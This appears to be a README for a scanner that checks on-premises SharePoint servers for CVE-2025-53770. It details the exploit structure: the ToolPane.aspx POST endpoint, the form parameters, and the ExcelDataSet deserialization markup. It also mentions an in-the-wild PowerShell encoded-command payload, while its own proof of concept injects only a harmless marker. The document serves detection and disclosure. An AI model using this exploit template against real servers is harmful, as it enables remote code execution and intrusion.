This is a scanner for the SharePoint unauthenticated Remote Code Execution vulnerability, assigned CVE number CVE-2025-53770. The code for this was written by reverse-engineering a payload seen in the wild.

Use at your own risk, I am not responsible for any negative impact this might cause.

It tries to exploit the vulnerability by injecting a marker in the SharePoint ToolBox widget. If in the SharePoint server response this unharmful marker is found, the host is marked as vulnerable.

# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level                                 fields.level=info
INFO[0000] starting scanner                              targets=1
INFO[0001] detected SharePoint version                   target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable                          target=<REDACTED>

# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME> 
...

Anyone running the on-prem version of SharePoint server without KB5002768 & KB5002754.

The vulnerability presumably builds upon a previously disclosed vulnerability for SharePoint, CVE-2025-49706. By sending a HTTP POST request to https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx with a GZIP-ed, BASE64-encoded payload, you can achieve Remote Code Execution as the SharePoint runtime process. Two form parameters are important here:

1. MSOTlPn_Uri: Control source path

This pretends to reference a legitimate SharePoint control (AclEditor.ascx), and tricks SharePoint into allowing the web part edit.
This seems to be mock/fake value just to pass validation. The original malicious payload includes MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, but this does not seem to be used at this point.

2. MSOTlPn_DWP: Web partial configuration.

This parameter injects custom ASP.NET directives (<%@ Register %>) and server-side markup (<Scorecard:ExcelDataSet>). The CompressedDataTable parameter holds attacker-controlled serialized data (GZIP + base64), triggering the RCE. This payload follows a certain structure:

<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

If a control like Scorecard:ExcelDataSet exists and its CompressedDataTable property is set, it's deserialized directly by the SharePoint DWP Parser.

The payload itself can be rather interesting, as it can contain a System.DelegateSerializationHolder which triggers a deserialization RCE. Threat actors abused this to pass /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> in their payload to achieve code exection. In our case, we merely pass a static placeholder to prove exploitability;

<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
    <bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <TestWrapper>
                <Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
                <Timestamp>2025-07-21T14:04:52Z</Timestamp>
            </TestWrapper>
        </poc>
    </bar>
</foo>
</diffgr:diffgram>